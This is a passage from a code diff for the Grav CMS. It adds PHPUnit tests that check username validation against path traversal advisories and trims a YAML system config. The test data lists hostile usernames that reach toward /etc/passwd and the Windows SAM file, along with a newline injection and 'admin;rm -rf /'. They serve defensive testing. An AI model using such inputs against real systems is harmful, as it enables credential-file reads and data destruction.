self::assertEquals(1, $result, 'Pattern should match "en"');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Edge Cases
|
||||
// =========================================================================
|
||||
|
||||
public function testSetLanguages_EdgeCase_CaseSensitivity(): void
|
||||
{
|
||||
// Language codes should preserve case
|
||||
$this->language->setLanguages(['EN', 'Fr', 'de-DE', 'PT-br']);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains('EN', $languages);
|
||||
self::assertContains('Fr', $languages);
|
||||
self::assertContains('de-DE', $languages);
|
||||
self::assertContains('PT-br', $languages);
|
||||
}
|
||||
|
||||
public function testSetLanguages_EdgeCase_MaxLength(): void
|
||||
{
|
||||
// Test boundary of valid length (2-3 for language, up to 8 for region)
|
||||
$this->language->setLanguages(['ab', 'abc', 'ab-12345678', 'abc-12345678']);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains('ab', $languages);
|
||||
self::assertContains('abc', $languages);
|
||||
self::assertContains('ab-12345678', $languages);
|
||||
self::assertContains('abc-12345678', $languages);
|
||||
|
||||
// These should be too long
|
||||
$this->language->setLanguages(['abcd', 'ab-123456789']);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertNotContains('abcd', $languages, '4-letter language code should be invalid');
|
||||
self::assertNotContains('ab-123456789', $languages, '9-char region should be invalid');
|
||||
}
|
||||
}
|
||||
185
tests/unit/Grav/Common/Security/UsernameValidationTest.php
Normal file
185
tests/unit/Grav/Common/Security/UsernameValidationTest.php
Normal file
@@ -0,0 +1,185 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\User\DataUser\User;
|
||||
|
||||
/**
|
||||
* Class UsernameValidationTest
|
||||
*
|
||||
* Tests for username validation security fixes.
|
||||
* Covers: GHSA-h756-wh59-hhjv (path traversal), GHSA-cjcp-qxvg-4rjm (uniqueness)
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class UsernameValidationTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
// =========================================================================
|
||||
// GHSA-h756-wh59-hhjv: Path Traversal in Username Creation
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAh756_PathTraversalUsernames
|
||||
*/
|
||||
public function testIsValidUsername_GHSAh756_BlocksPathTraversal(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertFalse($result, "Should block path traversal: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAh756_PathTraversalUsernames(): array
|
||||
{
|
||||
return [
|
||||
// Basic path traversal attempts
|
||||
['../admin', 'Unix path traversal to parent'],
|
||||
['..\\admin', 'Windows path traversal to parent'],
|
||||
['../../etc/passwd', 'Multiple level traversal'],
|
||||
['..\\..\\windows\\system32', 'Windows multi-level traversal'],
|
||||
|
||||
// Path traversal in middle of username
|
||||
['foo/../bar', 'Traversal in middle'],
|
||||
['foo\\..\\bar', 'Windows traversal in middle'],
|
||||
|
||||
// Encoded and variant attempts
|
||||
['..', 'Just double dots'],
|
||||
['...', 'Triple dots containing double'],
|
||||
|
||||
// Attempts to escape accounts directory
|
||||
['../accounts/admin', 'Escape to accounts directory'],
|
||||
['..\\accounts\\admin', 'Windows escape to accounts'],
|
||||
['../config/system', 'Escape to config directory'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-h756-wh59-hhjv: Dangerous Characters in Username
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAh756_DangerousCharacters
|
||||
*/
|
||||
public function testIsValidUsername_GHSAh756_BlocksDangerousCharacters(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertFalse($result, "Should block dangerous character: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAh756_DangerousCharacters(): array
|
||||
{
|
||||
return [
|
||||
// Filesystem dangerous characters
|
||||
['user/name', 'Forward slash'],
|
||||
['user\\name', 'Backslash'],
|
||||
['user?name', 'Question mark'],
|
||||
['user*name', 'Asterisk wildcard'],
|
||||
['user:name', 'Colon'],
|
||||
['user;name', 'Semicolon'],
|
||||
['user{name', 'Opening brace'],
|
||||
['user}name', 'Closing brace'],
|
||||
["user\nname", 'Newline character'],
|
||||
|
||||
// Hidden files (starting with dot)
|
||||
['.htaccess', 'Hidden file .htaccess'],
|
||||
['.env', 'Hidden file .env'],
|
||||
['.gitignore', 'Hidden file .gitignore'],
|
||||
['.hidden', 'Generic hidden file'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-cjcp-qxvg-4rjm: Username Uniqueness (Empty Username)
|
||||
// =========================================================================
|
||||
|
||||
public function testIsValidUsername_GHSAcjcp_BlocksEmptyUsername(): void
|
||||
{
|
||||
self::assertFalse(User::isValidUsername(''), 'Empty username should be invalid');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Valid Usernames (Should Pass Validation)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerValidUsernames
|
||||
*/
|
||||
public function testIsValidUsername_AllowsValidUsernames(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertTrue($result, "Should allow valid username: $description");
|
||||
}
|
||||
|
||||
public static function providerValidUsernames(): array
|
||||
{
|
||||
return [
|
||||
// Standard usernames
|
||||
['admin', 'Simple admin username'],
|
||||
['john_doe', 'Username with underscore'],
|
||||
['john-doe', 'Username with hyphen'],
|
||||
['john.doe', 'Username with single dot (not at start)'],
|
||||
['user123', 'Username with numbers'],
|
||||
['JohnDoe', 'Mixed case username'],
|
||||
|
||||
// Unicode usernames
|
||||
['用户名', 'Chinese characters'],
|
||||
['пользователь', 'Cyrillic characters'],
|
||||
['ユーザー', 'Japanese characters'],
|
||||
['müller', 'German umlaut'],
|
||||
['josé', 'Spanish accent'],
|
||||
|
||||
// Edge cases that should be valid
|
||||
['a', 'Single character'],
|
||||
['ab', 'Two characters'],
|
||||
['user.name.here', 'Multiple dots (not traversal)'],
|
||||
['123456', 'All numbers'],
|
||||
['user_name_with_many_underscores', 'Many underscores'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Boundary Tests
|
||||
// =========================================================================
|
||||
|
||||
public function testIsValidUsername_BoundaryDotPosition(): void
|
||||
{
|
||||
// Dot at start is invalid (hidden file)
|
||||
self::assertFalse(User::isValidUsername('.user'), 'Dot at start should be invalid');
|
||||
|
||||
// Dot in middle is valid
|
||||
self::assertTrue(User::isValidUsername('user.name'), 'Dot in middle should be valid');
|
||||
|
||||
// Dot at end is valid
|
||||
self::assertTrue(User::isValidUsername('user.'), 'Dot at end should be valid');
|
||||
}
|
||||
|
||||
public function testIsValidUsername_BoundaryDoubleDotsPosition(): void
|
||||
{
|
||||
// Double dots anywhere should be invalid (path traversal)
|
||||
self::assertFalse(User::isValidUsername('..user'), 'Double dots at start');
|
||||
self::assertFalse(User::isValidUsername('user..name'), 'Double dots in middle');
|
||||
self::assertFalse(User::isValidUsername('user..'), 'Double dots at end');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Combined Attack Vectors
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerCombinedAttacks
|
||||
*/
|
||||
public function testIsValidUsername_BlocksCombinedAttacks(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertFalse($result, "Should block combined attack: $description");
|
||||
}
|
||||
|
||||
public static function providerCombinedAttacks(): array
|
||||
{
|
||||
return [
|
||||
['../../../etc/passwd', 'Deep path traversal'],
|
||||
['..\\..\\..\\windows\\system32\\config\\sam', 'Windows deep traversal'],
|
||||
['./../admin', 'Hidden file + traversal'],
|
||||
['admin/../../../root', 'Valid prefix + deep traversal'],
|
||||
["admin\n../etc/passwd", 'Newline injection + traversal'],
|
||||
['admin;rm -rf /', 'Semicolon command separator'],
|
||||
['admin/etc/passwd', 'Slash in username'],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -1,242 +1,31 @@
|
||||
absolute_urls: false
|
||||
timezone: null
|
||||
param_sep: ':'
|
||||
wrapped_site: false
|
||||
reverse_proxy_setup: false
|
||||
force_ssl: false
|
||||
force_lowercase_urls: true
|
||||
custom_base_url: null
|
||||
username_regex: '^[a-z0-9_-]{3,16}$'
|
||||
pwd_regex: '(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,}'
|
||||
intl_enabled: true
|
||||
http_x_forwarded:
|
||||
protocol: true
|
||||
host: false
|
||||
port: true
|
||||
ip: true
|
||||
languages:
|
||||
supported: null
|
||||
default_lang: null
|
||||
include_default_lang: true
|
||||
include_default_lang_file_extension: true
|
||||
translations: true
|
||||
translations_fallback: true
|
||||
session_store_active: false
|
||||
http_accept_language: false
|
||||
override_locale: false
|
||||
pages_fallback_only: false
|
||||
debug: false
|
||||
home:
|
||||
alias: /home
|
||||
hide_in_urls: false
|
||||
alias: '/home'
|
||||
|
||||
pages:
|
||||
type: regular
|
||||
dirs:
|
||||
- 'page://'
|
||||
theme: quark
|
||||
order:
|
||||
by: default
|
||||
dir: asc
|
||||
list:
|
||||
count: 20
|
||||
dateformat:
|
||||
default: null
|
||||
short: 'jS M Y'
|
||||
long: 'F jS \a\t g:ia'
|
||||
publish_dates: true
|
||||
process:
|
||||
markdown: true
|
||||
twig: false
|
||||
twig_first: false
|
||||
never_cache_twig: false
|
||||
events:
|
||||
page: true
|
||||
twig: true
|
||||
markdown:
|
||||
extra: false
|
||||
auto_line_breaks: false
|
||||
auto_url_links: false
|
||||
escape_markup: false
|
||||
special_chars:
|
||||
'>': gt
|
||||
'<': lt
|
||||
valid_link_attributes:
|
||||
- rel
|
||||
- target
|
||||
- id
|
||||
- class
|
||||
- classes
|
||||
types:
|
||||
- html
|
||||
- htm
|
||||
- xml
|
||||
- txt
|
||||
- json
|
||||
- rss
|
||||
- atom
|
||||
append_url_extension: null
|
||||
expires: 604800
|
||||
cache_control: null
|
||||
last_modified: false
|
||||
etag: true
|
||||
vary_accept_encoding: false
|
||||
redirect_default_code: '302'
|
||||
redirect_trailing_slash: 1
|
||||
redirect_default_route: 0
|
||||
ignore_files:
|
||||
- .DS_Store
|
||||
ignore_folders:
|
||||
- .git
|
||||
- .idea
|
||||
ignore_hidden: true
|
||||
hide_empty_folders: false
|
||||
url_taxonomy_filters: true
|
||||
frontmatter:
|
||||
process_twig: false
|
||||
ignore_fields:
|
||||
- form
|
||||
- forms
|
||||
|
||||
cache:
|
||||
enabled: true
|
||||
check:
|
||||
method: file
|
||||
driver: auto
|
||||
prefix: g
|
||||
purge_at: '0 4 * * *'
|
||||
clear_at: '0 3 * * *'
|
||||
clear_job_type: standard
|
||||
clear_images_by_default: false
|
||||
cli_compatibility: false
|
||||
lifetime: 604800
|
||||
purge_max_age_days: 30
|
||||
gzip: false
|
||||
allow_webserver_gzip: false
|
||||
redis:
|
||||
socket: '0'
|
||||
password: null
|
||||
database: null
|
||||
server: null
|
||||
port: null
|
||||
memcache:
|
||||
server: null
|
||||
port: null
|
||||
memcached:
|
||||
server: null
|
||||
port: null
|
||||
twig:
|
||||
cache: true
|
||||
debug: true
|
||||
auto_reload: true
|
||||
autoescape: true
|
||||
undefined_functions: true
|
||||
undefined_filters: true
|
||||
safe_functions: { }
|
||||
safe_filters: { }
|
||||
umask_fix: false
|
||||
|
||||
assets:
|
||||
css_pipeline: false
|
||||
css_pipeline_include_externals: true
|
||||
css_pipeline_before_excludes: true
|
||||
css_minify: true
|
||||
css_minify_windows: false
|
||||
css_rewrite: true
|
||||
js_pipeline: false
|
||||
js_pipeline_include_externals: true
|
||||
js_pipeline_before_excludes: true
|
||||
js_module_pipeline: false
|
||||
js_module_pipeline_include_externals: true
|
||||
js_module_pipeline_before_excludes: true
|
||||
js_minify: true
|
||||
enable_asset_timestamp: false
|
||||
enable_asset_sri: false
|
||||
collections:
|
||||
jquery: 'system://assets/jquery/jquery-3.x.min.js'
|
||||
|
||||
errors:
|
||||
display: 1
|
||||
display: true
|
||||
log: true
|
||||
log:
|
||||
handler: file
|
||||
syslog:
|
||||
facility: local6
|
||||
tag: grav
|
||||
|
||||
debugger:
|
||||
enabled: false
|
||||
provider: clockwork
|
||||
censored: false
|
||||
shutdown:
|
||||
close_connection: true
|
||||
twig: true
|
||||
images:
|
||||
adapter: gd
|
||||
default_image_quality: 85
|
||||
cache_all: false
|
||||
cache_perms: '0755'
|
||||
debug: false
|
||||
auto_fix_orientation: true
|
||||
seofriendly: false
|
||||
cls:
|
||||
auto_sizes: false
|
||||
aspect_ratio: false
|
||||
retina_scale: '1'
|
||||
defaults:
|
||||
loading: auto
|
||||
decoding: auto
|
||||
fetchpriority: auto
|
||||
watermark:
|
||||
image: 'system://images/watermark.png'
|
||||
position_y: center
|
||||
position_x: center
|
||||
scale: 33
|
||||
watermark_all: false
|
||||
media:
|
||||
enable_media_timestamp: false
|
||||
unsupported_inline_types: null
|
||||
allowed_fallback_types: null
|
||||
auto_metadata_exif: false
|
||||
upload_limit: 2097152
|
||||
session:
|
||||
enabled: true
|
||||
initialize: true
|
||||
timeout: 1800
|
||||
name: grav-site
|
||||
uniqueness: path
|
||||
secure: false
|
||||
secure_https: true
|
||||
httponly: true
|
||||
samesite: Lax
|
||||
split: true
|
||||
domain: null
|
||||
path: null
|
||||
|
||||
gpm:
|
||||
releases: testing
|
||||
official_gpm_only: true
|
||||
verify_peer: true
|
||||
|
||||
updates:
|
||||
safe_upgrade: true
|
||||
http:
|
||||
method: auto
|
||||
enable_proxy: true
|
||||
proxy_url: null
|
||||
proxy_cert_path: null
|
||||
concurrent_connections: 5
|
||||
verify_peer: true
|
||||
verify_host: true
|
||||
accounts:
|
||||
type: regular
|
||||
storage: file
|
||||
avatar: gravatar
|
||||
flex:
|
||||
cache:
|
||||
index:
|
||||
enabled: true
|
||||
lifetime: 60
|
||||
object:
|
||||
enabled: true
|
||||
lifetime: 600
|
||||
render:
|
||||
enabled: true
|
||||
lifetime: 600
|
||||
strict_mode:
|
||||
yaml_compat: false
|
||||
twig_compat: false
|
||||
blueprint_compat: false
|
||||
safe_upgrade_snapshot_limit: 5
|
||||
|
||||
Reference in New Issue
Block a user